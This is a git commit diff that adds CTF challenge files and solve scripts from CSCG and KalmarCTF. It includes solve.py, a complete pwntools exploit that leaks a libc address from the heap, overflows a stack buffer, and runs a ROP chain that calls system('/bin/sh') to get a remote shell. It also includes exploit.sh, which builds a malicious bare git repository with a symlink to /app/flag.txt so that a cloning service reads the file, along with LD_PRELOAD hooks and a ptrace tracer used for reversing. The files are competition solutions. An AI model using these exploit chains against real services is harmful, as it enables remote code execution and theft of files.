cleanup
This commit is contained in:
36
2026/cscg/pwn/string-saas/Dockerfile
Normal file
36
2026/cscg/pwn/string-saas/Dockerfile
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
FROM ubuntu:jammy-20240125@sha256:bcc511d82482900604524a8e8d64bf4c53b2461868dac55f4d04d660e61983cb
|
||||||
|
|
||||||
|
ADD --chmod=0755 --checksum=sha256:4c97fd03a3b181996b1473f3a99b69a1efc6ecaf2b4ede061b6bd60a96b9325a \
|
||||||
|
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.0/repro-sources-list.sh \
|
||||||
|
/usr/local/bin/repro-sources-list.sh
|
||||||
|
|
||||||
|
RUN \
|
||||||
|
--mount=type=cache,target=/var/cache/apt,sharing=locked \
|
||||||
|
--mount=type=cache,target=/var/lib/apt,sharing=locked \
|
||||||
|
/usr/local/bin/repro-sources-list.sh && \
|
||||||
|
apt-get update && apt-get install -y \
|
||||||
|
make xz-utils gcc unzip file sudo
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \
|
||||||
|
https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \
|
||||||
|
/app/ynetd-0.1.2.tar.xz
|
||||||
|
|
||||||
|
RUN tar -xJf /app/ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && make
|
||||||
|
|
||||||
|
ADD --chmod=0600 getflag.c .
|
||||||
|
ADD --chmod=0755 run.sh .
|
||||||
|
COPY Makefile string-saas.c .
|
||||||
|
RUN make string-saas getflag
|
||||||
|
RUN rm getflag.c string-saas.c
|
||||||
|
|
||||||
|
RUN sha256sum string-saas
|
||||||
|
RUN echo 62350b02e19b9535e3e8e7e34792ac4c2cd1f86bc8563a9b6c4d24305ab48331 string-saas | sha256sum --check
|
||||||
|
|
||||||
|
RUN mkdir /app/tmp
|
||||||
|
RUN chmod 777 /app/tmp
|
||||||
|
|
||||||
|
EXPOSE 1024
|
||||||
|
CMD [ "/app/ynetd-0.1.2/ynetd", "-si", "y", "-so", "y", "-se", "y", \
|
||||||
|
"-p", "1024", "-d", "/app", "/app/string-saas" ]
|
||||||
BIN
2026/cscg/pwn/string-saas/ld-2.35.so
Executable file
BIN
2026/cscg/pwn/string-saas/ld-2.35.so
Executable file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/libc.so.6
Executable file
BIN
2026/cscg/pwn/string-saas/libc.so.6
Executable file
Binary file not shown.
8
2026/cscg/pwn/string-saas/run.sh
Executable file
8
2026/cscg/pwn/string-saas/run.sh
Executable file
@@ -0,0 +1,8 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
unzip -qnd tmp "$1"
|
||||||
|
for f in $(zipinfo -1 "$1"); do
|
||||||
|
[ -L "tmp/$f" ] && continue
|
||||||
|
file "tmp/$f" | grep -q ELF && \
|
||||||
|
sudo -u nobody strings "tmp/$f" | grep -v CSCG # no fleg
|
||||||
|
done
|
||||||
185
2026/cscg/pwn/string-saas/solve.py
Normal file
185
2026/cscg/pwn/string-saas/solve.py
Normal file
@@ -0,0 +1,185 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Exploit for string-saas (CSCG CTF)
|
||||||
|
===================================
|
||||||
|
Vulns:
|
||||||
|
1) Heap info-leak via FILE-struct recycling in analyze()
|
||||||
|
2) Stack buffer overflow in main (fgets 64 into buf[32])
|
||||||
|
|
||||||
|
Mitigations: Full RELRO, PIE, NX, no canary.
|
||||||
|
Server: ynetd (fork-based → stable ASLR per restart).
|
||||||
|
|
||||||
|
Step 1 – Leak libc via analyze()
|
||||||
|
• First analyze(): send a valid ZIP → fopen/fclose puts a freed
|
||||||
|
locked_FILE struct into a tcache bin.
|
||||||
|
• Second analyze(): send base64 that decodes to exactly 464 bytes
|
||||||
|
of non-null, non-ZIP data. decode()'s malloc recycles the freed
|
||||||
|
FILE chunk. The decoded 464 bytes overwrite the chunk's front;
|
||||||
|
the _IO_wide_data._wide_vtable pointer at offset 464 survives
|
||||||
|
untouched. fprintf(stderr, "Not a ZIP: %s\n", buf) prints past
|
||||||
|
our data and leaks the vtable pointer (_IO_wfile_jumps).
|
||||||
|
|
||||||
|
Step 2 – ROP via buffer overflow
|
||||||
|
Payload (63 bytes, NO embedded 0x0a):
|
||||||
|
32 B padding | 8 B fake rbp | 8 B pop_rdi;ret |
|
||||||
|
8 B &"/bin/sh" | 7 B do_system+2
|
||||||
|
fgets's NUL terminator supplies byte 7 of the last address (0x00).
|
||||||
|
Immediately after the 63 raw bytes we append b"exit\n".
|
||||||
|
• fgets #1 reads the 63-byte ROP blob (no newline → stops at n-1=63).
|
||||||
|
• fgets #2 reads "exit\n" into buf[0..4] without touching buf[40..63].
|
||||||
|
• main does leave;ret → pop rdi → "/bin/sh" → do_system+2 → shell!
|
||||||
|
|
||||||
|
We jump to do_system+2 (skipping `push r15`) to fix 16-byte stack
|
||||||
|
alignment that system()'s movaps [rsp] requires.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
import base64, zipfile, io, sys
|
||||||
|
|
||||||
|
# ── CONFIG ────────────────────────────────────────────────────────
|
||||||
|
REMOTE_HOST = "t5b46wguuorhymil3pq25tocmk-1024-string-saas.challenge.cscg.live" # set e.g. "pwn.cscg.live"
|
||||||
|
REMOTE_PORT = 443 # set e.g. 1024
|
||||||
|
|
||||||
|
# Offsets for the *provided* libc (Ubuntu GLIBC 2.35-0ubuntu3.6)
|
||||||
|
LIBC_IO_WFILE_JUMPS = 0x2170c0
|
||||||
|
LIBC_POP_RDI = 0x2a3e5
|
||||||
|
LIBC_BINSH = 0x1d8678
|
||||||
|
LIBC_DO_SYSTEM_P2 = 0x50902 # do_system+2, skips push r15 for alignment
|
||||||
|
|
||||||
|
LEAK_DECODE_SIZE = 464 # decoded bytes that recycle the FILE chunk
|
||||||
|
# ──────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
context.binary = ELF('./string-saas_patched', checksec=False)
|
||||||
|
context.log_level = 'info'
|
||||||
|
|
||||||
|
# Override with local libc if running locally
|
||||||
|
USE_LOCAL = (REMOTE_HOST is None)
|
||||||
|
if USE_LOCAL:
|
||||||
|
_libc = ELF('./libc.so.6', checksec=False)
|
||||||
|
LIBC_IO_WFILE_JUMPS = _libc.symbols['_IO_wfile_jumps']
|
||||||
|
LIBC_POP_RDI = ROP(_libc, badchars=b'\n').find_gadget(['pop rdi', 'ret'])[0]
|
||||||
|
LIBC_BINSH = next(_libc.search(b'/bin/sh\x00'))
|
||||||
|
# find do_system jmp target
|
||||||
|
import subprocess as _sp
|
||||||
|
_r = _sp.run(['objdump','-d','-M','intel',
|
||||||
|
f'--start-address={hex(_libc.symbols["system"])}',
|
||||||
|
f'--stop-address={hex(_libc.symbols["system"]+20)}',
|
||||||
|
'/lib/x86_64-linux-gnu/libc.so.6'], capture_output=True, text=True)
|
||||||
|
for _line in _r.stdout.split('\n'):
|
||||||
|
if 'jmp' in _line and ':' in _line:
|
||||||
|
for _tok in _line.split():
|
||||||
|
try:
|
||||||
|
_v = int(_tok, 16)
|
||||||
|
if _v > 0x10000:
|
||||||
|
LIBC_DO_SYSTEM_P2 = _v + 2
|
||||||
|
except: pass
|
||||||
|
log.info(f"Local offsets: wfile=0x{LIBC_IO_WFILE_JUMPS:x} pop_rdi=0x{LIBC_POP_RDI:x} "
|
||||||
|
f"binsh=0x{LIBC_BINSH:x} dosys2=0x{LIBC_DO_SYSTEM_P2:x}")
|
||||||
|
|
||||||
|
def conn():
|
||||||
|
if REMOTE_HOST:
|
||||||
|
return remote(REMOTE_HOST, REMOTE_PORT, ssl=True)
|
||||||
|
else:
|
||||||
|
return process('./string-saas_patched', stderr=STDOUT)
|
||||||
|
|
||||||
|
def make_zip_b64():
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, 'w') as zf:
|
||||||
|
zf.writestr('t.txt', 'A')
|
||||||
|
return base64.b64encode(buf.getvalue())
|
||||||
|
|
||||||
|
def do_leak(p):
|
||||||
|
"""
|
||||||
|
Leak _IO_wfile_jumps address via FILE-struct recycling.
|
||||||
|
Returns the leaked libc address or None.
|
||||||
|
"""
|
||||||
|
b64_zip = make_zip_b64()
|
||||||
|
|
||||||
|
# 1) Valid ZIP → triggers fopen / fwrite / fclose
|
||||||
|
p.sendline(b'analyze')
|
||||||
|
p.recvuntil(b'ZIP:')
|
||||||
|
p.sendline(b64_zip)
|
||||||
|
p.recvuntil(b'> ')
|
||||||
|
|
||||||
|
# 2) Non-ZIP → recycled FILE chunk leaks via fprintf %s
|
||||||
|
raw = b'\x41' * LEAK_DECODE_SIZE # 464 bytes of 'A'
|
||||||
|
p.sendline(b'analyze')
|
||||||
|
p.recvuntil(b'ZIP:')
|
||||||
|
p.sendline(base64.b64encode(raw))
|
||||||
|
resp = p.recvuntil(b'> ', timeout=5)
|
||||||
|
|
||||||
|
if b'Not a ZIP: ' not in resp:
|
||||||
|
return None
|
||||||
|
start = resp.index(b'Not a ZIP: ') + len(b'Not a ZIP: ')
|
||||||
|
end = resp.index(b'\n', start)
|
||||||
|
data = resp[start:end]
|
||||||
|
extra = data[LEAK_DECODE_SIZE:]
|
||||||
|
|
||||||
|
if len(extra) < 6:
|
||||||
|
return None
|
||||||
|
return u64(extra[:6].ljust(8, b'\x00'))
|
||||||
|
|
||||||
|
|
||||||
|
# ── MAIN ──────────────────────────────────────────────────────────
|
||||||
|
MAX_LEAK_TRIES = 50
|
||||||
|
|
||||||
|
for attempt in range(1, MAX_LEAK_TRIES + 1):
|
||||||
|
p = conn()
|
||||||
|
p.recvuntil(b'> ')
|
||||||
|
|
||||||
|
leaked = do_leak(p)
|
||||||
|
if leaked is None:
|
||||||
|
log.info(f"Attempt {attempt}/{MAX_LEAK_TRIES}: leak too short, retrying…")
|
||||||
|
p.close()
|
||||||
|
continue
|
||||||
|
|
||||||
|
libc_base = leaked - LIBC_IO_WFILE_JUMPS
|
||||||
|
if libc_base & 0xfff:
|
||||||
|
log.warn(f"Attempt {attempt}: base not page-aligned (0x{libc_base:x}), retrying…")
|
||||||
|
input()
|
||||||
|
p.close()
|
||||||
|
continue
|
||||||
|
|
||||||
|
log.success(f"libc base = 0x{libc_base:x}")
|
||||||
|
|
||||||
|
pop_rdi = libc_base + LIBC_POP_RDI
|
||||||
|
binsh = libc_base + LIBC_BINSH
|
||||||
|
dosys2 = libc_base + LIBC_DO_SYSTEM_P2
|
||||||
|
|
||||||
|
# Build 63-byte ROP blob
|
||||||
|
payload = b'A' * 32 # input_buf (32 B)
|
||||||
|
payload += b'B' * 8 # saved rbp (don't care)
|
||||||
|
payload += p64(pop_rdi) # saved rip → pop rdi; ret
|
||||||
|
payload += p64(binsh) # → "/bin/sh"
|
||||||
|
payload += p64(dosys2)[:7] # → do_system+2 (byte 7 = \0 by fgets)
|
||||||
|
|
||||||
|
assert len(payload) == 63, f"payload len {len(payload)} != 63"
|
||||||
|
|
||||||
|
if b'\x0a' in payload:
|
||||||
|
log.warn(f"Attempt {attempt}: 0x0a in ROP payload (bad ASLR luck). "
|
||||||
|
"Need server restart for new layout.")
|
||||||
|
p.close()
|
||||||
|
# On a fork server the layout is fixed until restart.
|
||||||
|
# If running locally each process() gives new ASLR.
|
||||||
|
continue
|
||||||
|
|
||||||
|
log.info("Sending overflow + 'exit' trigger…")
|
||||||
|
p.send(payload + b'exit\n')
|
||||||
|
p.recvuntil(b'ok, bye!')
|
||||||
|
log.success("main returned → ROP chain executing")
|
||||||
|
|
||||||
|
# Give the shell a moment to start
|
||||||
|
import time; time.sleep(0.2)
|
||||||
|
p.sendline(b'echo "SHELL_OK"')
|
||||||
|
try:
|
||||||
|
p.recvuntil(b'SHELL_OK', timeout=3)
|
||||||
|
log.success("Got shell!")
|
||||||
|
except EOFError:
|
||||||
|
log.warn("Shell died — alignment or constraint issue")
|
||||||
|
p.close()
|
||||||
|
continue
|
||||||
|
|
||||||
|
p.interactive()
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
log.failure(f"Failed after {MAX_LEAK_TRIES} attempts")
|
||||||
BIN
2026/cscg/pwn/string-saas/string-saas
Executable file
BIN
2026/cscg/pwn/string-saas/string-saas
Executable file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.id0
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.id0
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.id1
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.id1
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.id2
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.id2
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.nam
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.nam
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.til
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.til
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas_patched
Executable file
BIN
2026/cscg/pwn/string-saas/string-saas_patched
Executable file
Binary file not shown.
1
2026/cscg/pwn/string-saas/tmp/t.txt
Normal file
1
2026/cscg/pwn/string-saas/tmp/t.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
A
|
||||||
BIN
2026/cscg/pwn/string-saas/tmp/tmp.zip
Normal file
BIN
2026/cscg/pwn/string-saas/tmp/tmp.zip
Normal file
Binary file not shown.
45
2026/cscg/rev/gloomweaver/dump_hook.c
Normal file
45
2026/cscg/rev/gloomweaver/dump_hook.c
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
int puts(const char *s) {
|
||||||
|
FILE *maps = fopen("/proc/self/maps", "r");
|
||||||
|
char line[512];
|
||||||
|
uintptr_t base = 0;
|
||||||
|
|
||||||
|
while (fgets(line, sizeof(line), maps)) {
|
||||||
|
if (strstr(line, "gloomweaver") && strstr(line, "rwxp")) {
|
||||||
|
sscanf(line, "%lx", &base);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(maps);
|
||||||
|
|
||||||
|
if (base) {
|
||||||
|
uintptr_t text = base - 0x1000; // file base (rwxp is at offset 0x1000)
|
||||||
|
|
||||||
|
// Dump the 55x55 matrix at virtual 0x1253 (in rw-p segment at offset 0)
|
||||||
|
FILE *f;
|
||||||
|
f = fopen("/tmp/matrix_1253.bin", "wb");
|
||||||
|
fwrite((void *)(text + 0x1253), 1, 55*55, f); fclose(f);
|
||||||
|
|
||||||
|
f = fopen("/tmp/table_2605.bin", "wb");
|
||||||
|
fwrite((void *)(text + 0x2605), 1, 55, f); fclose(f);
|
||||||
|
|
||||||
|
f = fopen("/tmp/table_2697.bin", "wb");
|
||||||
|
fwrite((void *)(text + 0x2697), 1, 55, f); fclose(f);
|
||||||
|
|
||||||
|
// Expected output: 55 words = 110 bytes
|
||||||
|
f = fopen("/tmp/expected_2119.bin", "wb");
|
||||||
|
fwrite((void *)(text + 0x2119), 1, 110, f); fclose(f);
|
||||||
|
|
||||||
|
// Also dump the full patched code again with broader range
|
||||||
|
f = fopen("/tmp/full_dump.bin", "wb");
|
||||||
|
fwrite((void *)text, 1, 0x8000, f); fclose(f);
|
||||||
|
}
|
||||||
|
|
||||||
|
write(1, s, strlen(s));
|
||||||
|
write(1, "\n", 1);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
BIN
2026/cscg/rev/gloomweaver/dump_hook.so
Executable file
BIN
2026/cscg/rev/gloomweaver/dump_hook.so
Executable file
Binary file not shown.
28
2026/cscg/rev/gloomweaver/find_hash.py
Normal file
28
2026/cscg/rev/gloomweaver/find_hash.py
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
# find_hash.py — find a flag that passes the checksum
|
||||||
|
import struct
|
||||||
|
|
||||||
|
def compute_hash(flag_bytes):
|
||||||
|
eax = 0x65
|
||||||
|
for b in flag_bytes:
|
||||||
|
ecx = eax & 0xFFFFFFFF
|
||||||
|
edx = eax & 0xFF # dl only
|
||||||
|
ecx = (ecx << 6) & 0xFFFFFFFF
|
||||||
|
edx = (edx >> 6) & 0xFF
|
||||||
|
eax = (eax + ecx) & 0xFFFFFFFF
|
||||||
|
eax = (eax + edx) & 0xFFFFFFFF
|
||||||
|
eax ^= b
|
||||||
|
return eax & 0xFF
|
||||||
|
|
||||||
|
prefix = b"CTF{th1s_"
|
||||||
|
suffix = b"}"
|
||||||
|
# 64 bytes total: 9 prefix + 54 middle + 1 suffix
|
||||||
|
# Try different last middle byte
|
||||||
|
for last in range(0x21, 0x7F):
|
||||||
|
middle = b"A" * 53 + bytes([last])
|
||||||
|
flag = prefix + middle + suffix
|
||||||
|
assert len(flag) == 64
|
||||||
|
h = compute_hash(flag)
|
||||||
|
if h == 0x0C:
|
||||||
|
print(f"Found: {flag.decode()}")
|
||||||
|
print(f"Hash: 0x{h:02x}")
|
||||||
|
break
|
||||||
BIN
2026/cscg/rev/gloomweaver/gloomweaver
Executable file
BIN
2026/cscg/rev/gloomweaver/gloomweaver
Executable file
Binary file not shown.
BIN
2026/cscg/rev/gloomweaver/gloomweaver.bak
Normal file
BIN
2026/cscg/rev/gloomweaver/gloomweaver.bak
Normal file
Binary file not shown.
BIN
2026/cscg/rev/gloomweaver/gloomweaver.i64
Normal file
BIN
2026/cscg/rev/gloomweaver/gloomweaver.i64
Normal file
Binary file not shown.
1
2026/cscg/rev/gloomweaver/hash_CTF
Normal file
1
2026/cscg/rev/gloomweaver/hash_CTF
Normal file
@@ -0,0 +1 @@
|
|||||||
|
caf5d17185a42bf99e74224d738c33e555aa086b27ee5de56bc35053dc386c1a /tmp/gloom_region_0.bin
|
||||||
1
2026/cscg/rev/gloomweaver/hash_dach
Normal file
1
2026/cscg/rev/gloomweaver/hash_dach
Normal file
@@ -0,0 +1 @@
|
|||||||
|
4c77553b5cfaa9c0f896574baecaf29cf0625943299999cbe436cb4e708724c1 /tmp/gloom_region_0.bin
|
||||||
95
2026/cscg/rev/gloomweaver/solve.py
Normal file
95
2026/cscg/rev/gloomweaver/solve.py
Normal file
@@ -0,0 +1,95 @@
|
|||||||
|
# solve.py
|
||||||
|
import numpy as np
|
||||||
|
|
||||||
|
# Load tables
|
||||||
|
matrix_raw = open("/tmp/matrix_1253.bin", "rb").read()
|
||||||
|
table_a = open("/tmp/table_2605.bin", "rb").read() # 55 bytes
|
||||||
|
table_b = open("/tmp/table_2697.bin", "rb").read() # 55 bytes
|
||||||
|
expected_raw = open("/tmp/expected_2119.bin", "rb").read() # 110 bytes
|
||||||
|
|
||||||
|
# Build coefficient matrix mod 256
|
||||||
|
# coeff[i][j] = ((table_a[i] * table_b[j] * 1337) & 0xFF + matrix[i*55+j]) & 0xFF
|
||||||
|
M = np.zeros((55, 55), dtype=np.int64)
|
||||||
|
for i in range(55):
|
||||||
|
for j in range(55):
|
||||||
|
ab = table_a[i] * table_b[j] # 8x8 -> 16-bit
|
||||||
|
val = (ab * 1337) & 0xFF # imul then take low byte
|
||||||
|
val = (val + matrix_raw[i * 55 + j]) & 0xFF # add matrix element
|
||||||
|
M[i][j] = val
|
||||||
|
|
||||||
|
# Expected values — try byte extraction (every other byte = low bytes of words)
|
||||||
|
# The cmpsw comparison uses words, so expected is 55 x 2-byte values
|
||||||
|
# Result bytes are at rsp[0..54], compared as words: (rsp[0],rsp[1]), (rsp[2],rsp[3])...
|
||||||
|
# Since only odd-indexed bytes have values, let's try both interpretations
|
||||||
|
|
||||||
|
# Interpretation 1: expected is just the first 55 bytes
|
||||||
|
expected_bytes = list(expected_raw[:55])
|
||||||
|
|
||||||
|
# Interpretation 2: expected is every other byte (word low bytes)
|
||||||
|
expected_words_lo = [expected_raw[i*2] for i in range(55)]
|
||||||
|
|
||||||
|
print("Expected (first 55 bytes):", [hex(x) for x in expected_bytes[:10]])
|
||||||
|
print("Expected (word lo bytes):", [hex(x) for x in expected_words_lo[:10]])
|
||||||
|
|
||||||
|
# Gaussian elimination mod 256
|
||||||
|
def solve_mod256(M, b):
|
||||||
|
n = len(b)
|
||||||
|
# Augmented matrix
|
||||||
|
aug = np.zeros((n, n+1), dtype=np.int64)
|
||||||
|
for i in range(n):
|
||||||
|
for j in range(n):
|
||||||
|
aug[i][j] = M[i][j] % 256
|
||||||
|
aug[i][n] = b[i] % 256
|
||||||
|
|
||||||
|
# Forward elimination
|
||||||
|
for col in range(n):
|
||||||
|
# Find pivot with odd value (invertible mod 256 requires gcd(pivot,256)=1)
|
||||||
|
pivot = -1
|
||||||
|
for row in range(col, n):
|
||||||
|
if aug[row][col] % 2 == 1: # odd = invertible mod 256
|
||||||
|
pivot = row
|
||||||
|
break
|
||||||
|
if pivot == -1:
|
||||||
|
print(f"No odd pivot at column {col}, trying any nonzero...")
|
||||||
|
for row in range(col, n):
|
||||||
|
if aug[row][col] != 0:
|
||||||
|
pivot = row
|
||||||
|
break
|
||||||
|
if pivot == -1:
|
||||||
|
print(f"Singular at column {col}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
# Swap
|
||||||
|
aug[[col, pivot]] = aug[[pivot, col]]
|
||||||
|
|
||||||
|
# Compute inverse of pivot mod 256
|
||||||
|
pv = int(aug[col][col]) % 256
|
||||||
|
inv = pow(pv, -1, 256) if pv % 2 == 1 else None
|
||||||
|
if inv is None:
|
||||||
|
print(f"Non-invertible pivot {pv} at col {col}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
# Scale pivot row
|
||||||
|
aug[col] = (aug[col] * inv) % 256
|
||||||
|
|
||||||
|
# Eliminate
|
||||||
|
for row in range(n):
|
||||||
|
if row != col and aug[row][col] != 0:
|
||||||
|
factor = int(aug[row][col])
|
||||||
|
aug[row] = (aug[row] - factor * aug[col]) % 256
|
||||||
|
|
||||||
|
solution = aug[:, n] % 256
|
||||||
|
return solution
|
||||||
|
|
||||||
|
# Try both interpretations
|
||||||
|
for name, expected in [("first_55_bytes", expected_bytes),
|
||||||
|
("word_lo_bytes", expected_words_lo)]:
|
||||||
|
print(f"\n=== Trying {name} ===")
|
||||||
|
sol = solve_mod256(M, expected)
|
||||||
|
if sol is not None:
|
||||||
|
flag_content = bytes([int(x) for x in sol])
|
||||||
|
flag = b"CTF{th1s" + flag_content + b"}"
|
||||||
|
printable = all(0x20 <= b < 0x7f for b in flag_content)
|
||||||
|
print(f"Solution: {flag}")
|
||||||
|
print(f"Printable: {printable}")
|
||||||
|
print(f"Hex: {flag_content.hex()}")
|
||||||
20
2026/cscg/rev/gloomweaver/trace_hook.c
Normal file
20
2026/cscg/rev/gloomweaver/trace_hook.c
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
// trace_hook.c — intercept signal handler to log VM state
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <signal.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <dlfcn.h>
|
||||||
|
|
||||||
|
static FILE *trace;
|
||||||
|
|
||||||
|
int sigaction(int signum, const struct sigaction *act,
|
||||||
|
struct sigaction *oldact) {
|
||||||
|
// Log which signals are being registered
|
||||||
|
if (!trace) trace = fopen("/tmp/vm_trace.txt", "w");
|
||||||
|
fprintf(trace, "sigaction(%d)\n", signum);
|
||||||
|
fflush(trace);
|
||||||
|
|
||||||
|
// Call real sigaction
|
||||||
|
int (*real)(int, const struct sigaction*, struct sigaction*) =
|
||||||
|
dlsym(RTLD_NEXT, "sigaction");
|
||||||
|
return real(signum, act, oldact);
|
||||||
|
}
|
||||||
BIN
2026/cscg/rev/gloomweaver/trace_hook.so
Executable file
BIN
2026/cscg/rev/gloomweaver/trace_hook.so
Executable file
Binary file not shown.
BIN
2026/cscg/rev/gloomweaver/tracer
Executable file
BIN
2026/cscg/rev/gloomweaver/tracer
Executable file
Binary file not shown.
64
2026/cscg/rev/gloomweaver/tracer.c
Normal file
64
2026/cscg/rev/gloomweaver/tracer.c
Normal file
@@ -0,0 +1,64 @@
|
|||||||
|
// tracer2.c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/ptrace.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/user.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
int main(int argc, char **argv) {
|
||||||
|
pid_t child = fork();
|
||||||
|
if (child == 0) {
|
||||||
|
ptrace(PTRACE_TRACEME, 0, 0, 0);
|
||||||
|
raise(SIGSTOP);
|
||||||
|
execv(argv[1], &argv[1]);
|
||||||
|
perror("exec");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
int status;
|
||||||
|
waitpid(child, &status, 0);
|
||||||
|
|
||||||
|
// Use TRACEEXEC to catch the exec, then CONT (not SYSCALL)
|
||||||
|
ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACEEXEC);
|
||||||
|
ptrace(PTRACE_CONT, child, 0, 0);
|
||||||
|
|
||||||
|
FILE *log = fopen("/tmp/signal_trace.txt", "w");
|
||||||
|
int count = 0;
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
waitpid(child, &status, 0);
|
||||||
|
|
||||||
|
if (WIFEXITED(status)) {
|
||||||
|
fprintf(log, "Exited: %d (signals: %d)\n", WEXITSTATUS(status), count);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (WIFSIGNALED(status)) {
|
||||||
|
fprintf(log, "Killed by signal %d\n", WTERMSIG(status));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (WIFSTOPPED(status)) {
|
||||||
|
int sig = WSTOPSIG(status);
|
||||||
|
|
||||||
|
// Exec event — swallow, continue
|
||||||
|
if (status >> 8 == (SIGTRAP | (PTRACE_EVENT_EXEC << 8))) {
|
||||||
|
fprintf(log, "Exec event\n");
|
||||||
|
ptrace(PTRACE_CONT, child, 0, 0);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct user_regs_struct regs;
|
||||||
|
ptrace(PTRACE_GETREGS, child, 0, ®s);
|
||||||
|
fprintf(log, "Signal %2d at RIP=0x%llx RDI=%lld RSI=0x%llx\n",
|
||||||
|
sig, regs.rip, regs.rdi, regs.rsi);
|
||||||
|
fflush(log);
|
||||||
|
count++;
|
||||||
|
|
||||||
|
// Forward the signal
|
||||||
|
ptrace(PTRACE_CONT, child, 0, sig);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fclose(log);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
BIN
2026/kalmar/misc/babykalmarctf/rootevilbabykalmarctf_handout.zip
Normal file
BIN
2026/kalmar/misc/babykalmarctf/rootevilbabykalmarctf_handout.zip
Normal file
Binary file not shown.
31
2026/kalmar/misc/git-hoarder/exploit.sh
Normal file
31
2026/kalmar/misc/git-hoarder/exploit.sh
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
# 1. Create the base repository with a commit
|
||||||
|
mkdir base_repo && cd base_repo
|
||||||
|
git init
|
||||||
|
git commit --allow-empty -m "init"
|
||||||
|
cd ..
|
||||||
|
|
||||||
|
# 2. Create the bare clone (the payload)
|
||||||
|
git clone --bare base_repo malicious.git
|
||||||
|
|
||||||
|
# 3. Inject the symlink
|
||||||
|
cd malicious.git
|
||||||
|
ln -s /app/flag.txt shallow
|
||||||
|
|
||||||
|
# 4. Force Git to track the refs directories
|
||||||
|
mkdir -p refs/heads refs/tags
|
||||||
|
touch refs/.keep
|
||||||
|
touch refs/heads/.keep
|
||||||
|
touch refs/tags/.keep
|
||||||
|
cd ..
|
||||||
|
|
||||||
|
# 5. Wrap it for delivery
|
||||||
|
mkdir wrapper && cd wrapper
|
||||||
|
git init
|
||||||
|
cp -r ../malicious.git .
|
||||||
|
git add malicious.git
|
||||||
|
git commit -m "Delivery package with refs tracked"
|
||||||
|
|
||||||
|
# 6. Push to your server
|
||||||
|
git branch -M main
|
||||||
|
git remote add origin https://gitea.cato447.de/cato447/pwn.git
|
||||||
|
git push -u origin main -f
|
||||||
12
2026/kalmar/misc/git-hoarder/handout/Dockerfile
Normal file
12
2026/kalmar/misc/git-hoarder/handout/Dockerfile
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
FROM archlinux:latest
|
||||||
|
|
||||||
|
RUN pacman --noconfirm -Sy socat python3 git
|
||||||
|
|
||||||
|
RUN mkdir /app
|
||||||
|
COPY clone.py /app/clone.py
|
||||||
|
COPY ./flag.txt /app/flag.txt
|
||||||
|
RUN useradd -m -k user:user user
|
||||||
|
USER user
|
||||||
|
WORKDIR /tmp
|
||||||
|
|
||||||
|
CMD socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"python3 /app/clone.py",stderr
|
||||||
4
2026/kalmar/misc/git-hoarder/handout/clone.py
Normal file
4
2026/kalmar/misc/git-hoarder/handout/clone.py
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
import subprocess
|
||||||
|
git_url = input('Git url to clone > ')
|
||||||
|
subprocess.run(["git", "clone", git_url], capture_output=False)
|
||||||
|
print('Done cloning!')
|
||||||
5
2026/kalmar/misc/git-hoarder/handout/compose.yml
Normal file
5
2026/kalmar/misc/git-hoarder/handout/compose.yml
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
services:
|
||||||
|
githoarder:
|
||||||
|
build: .
|
||||||
|
ports:
|
||||||
|
- 1444:1337
|
||||||
1
2026/kalmar/misc/git-hoarder/handout/flag.txt
Normal file
1
